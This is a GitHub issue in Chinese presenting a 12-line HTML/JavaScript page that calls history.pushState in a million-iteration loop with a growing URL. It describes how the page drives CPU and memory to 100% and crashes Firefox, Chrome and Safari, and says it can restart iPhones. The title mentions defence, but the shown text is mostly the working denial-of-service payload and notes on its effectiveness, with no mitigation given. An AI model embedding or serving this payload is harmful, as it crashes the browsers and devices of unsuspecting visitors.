Skip to content

让浏览器崩溃的12行JS代码(DoS攻击分析及防御) #3

@xxxsf

Description

@xxxsf

history.pushState

<html>
<body>
<script>
  var total="";
  for (var i=0;i<1000000;i++)
  {
     total= total+i.toString();
     history.pushState(0,0,total);
  }
</script>
</body>
</html>

上面就是十二行代码,关键点在于针对total这个url的循环:

history.pushState(0,0,total);

不停的在修改url,循环了1000000次,不停的向历史记录堆栈中新增记录,会导致**CPU内存**占用率过高以及firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间100%,然后崩溃死机;
当上面那个循环次数缩小到10000左右的时候,CPU,内存使用率大概在20秒内逐渐升高至100%,然后崩溃死机

可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起**dos**了,攻击的效果和效率完全取决于循环的次数和tagret的硬件配置。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions